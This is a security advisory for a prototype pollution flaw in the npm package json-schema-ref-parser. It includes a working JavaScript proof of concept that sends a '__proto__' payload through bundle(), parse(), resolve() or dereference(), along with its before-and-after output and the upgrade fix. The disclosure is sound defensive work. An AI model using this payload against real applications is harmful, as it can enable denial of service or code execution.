json-schema-ref-parser is an NPM package for Parse, Resolve, and Dereference JSON Schema $ref pointers.
Affected versions of this package are vulnerable to Prototype Pollution. An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by passing specially crafted input to this function.
The vulnerable functions: bundle()
, parse()
, resolve()
, dereference()
passes the argument options
to an unsafe merge method, which recursively copy properties from one object to another. Such a function has the potential to modify any object reachable from the destination object,
and the built-in Object.prototype
is usually reachable through the special properties __proto__
and constructor.prototype
.
Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service,
remote code execution or cross-site scripting attacks.
getNewOptions (@apidevtools/json-schema-ref-parser/dist/lib/options.js:80)
normalizeArgs (@apidevtools/json-schema-ref-parser/dist/lib/normalize-args.js:35)
$RefParser.parse (@apidevtools/json-schema-ref-parser/dist/lib/index.js:71)
Module.parse (@apidevtools/json-schema-ref-parser/dist/lib/index.js:138
(async () => {
const lib = await import('@apidevtools/json-schema-ref-parser');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// uncomment one at a time
lib.bundle({},BAD_JSON,{})
//lib.parse ({},BAD_JSON,{})
//lib.resolve ({}, BAD_JSON,{})
//lib.dereference ({}, BAD_JSON,{})
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();
Output:
Before Attack: {}
After Attack: {"polluted":true}
Upgrade the package to 11.2.0 or a newer version.
To prevent your javascript code from getting vulnerable to prototype pollution, please refer to the recommendations listed in this article Snyk.io
Reference: https://github.com/APIDevTools/json-schema-ref-parser/commit/8cad7f72c15b198f4d0b5b1c8a3a979b2e4baa82 https://gist.github.com/tariqhawis/5db76b38112bba756615b688c32409ad
Please see APIDevTools/swagger-parser#255 (comment) - I think the effected range goes back much further